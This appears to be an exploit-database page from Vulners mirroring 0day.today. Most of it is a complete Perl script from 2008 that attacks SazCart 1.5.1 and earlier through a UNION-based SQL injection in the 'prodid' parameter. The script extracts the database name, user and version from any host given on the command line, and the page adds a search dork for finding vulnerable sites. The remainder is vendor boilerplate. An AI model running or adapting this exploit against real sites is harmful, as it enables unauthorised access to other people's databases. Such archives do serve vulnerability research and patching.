Lucene search
K

SazCart <= 1.5.1 (prodid) Remote SQL Injection Exploit

🗓️ 09 May 2008 00:00:00Reported by JosSType 
zdt
 zdt
🔗 0day.today👁 36 Views

SazCart v1.5.1 Remote SQL Injection Exploi

Code
======================================================
SazCart <= 1.5.1 (prodid) Remote SQL Injection Exploit
======================================================




#!/usr/bin/perl

# SazCart <= v1.5.1 (details&prodid) Remote SQL Injection Exploit
# HomePage: http://www.sazcart.com
# Discovered & Coded by JosS
# Spanish Hackers Team / Sys - Project / EspSeC
# rgod forever :D

# Dork: "Powered by SazCart"


print "\t\t########################################################\n\n";
print "\t\t#   SazCart <= v1.5.1 - Remote SQL Injection Exploit   #\n\n";
print "\t\t#                       by JosS                        #\n\n";
print "\t\t########################################################\n\n";

use strict;
use LWP::UserAgent;

my $victim = $ARGV[0];

 if(!$ARGV[0]) {
    print "\n[x] SazCart <= v1.5.1 - Remote SQL Injection Exploit\n";
    print "[x] written by JosS - sys-project[at]hotmail.com\n";
    print "[x] usage: perl xpl.pl [host]\n";
    print "[x] example: http://localhost/path/\n\n";
    exit(1);
 }
 
    print "\n[+] Exploiting...\n";
    my $cnx = LWP::UserAgent->new() or die;
    my $go=$cnx->get($victim."?details&prodid=1'+union+all+select+0,1,convert(concat(database(),char(58),user(),char(58),version()),char),3,4/*");
    if ($go->content =~ m/Price<\/b>\:(.*?)\<br/ms)
 {
        print "[+] $1\n\n";
    } else {
        print "\n[-] exploit failed\n";
    }



#  0day.today [2018-01-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 May 2008 00:00Current
7.1High risk
Vulners AI Score7.1
36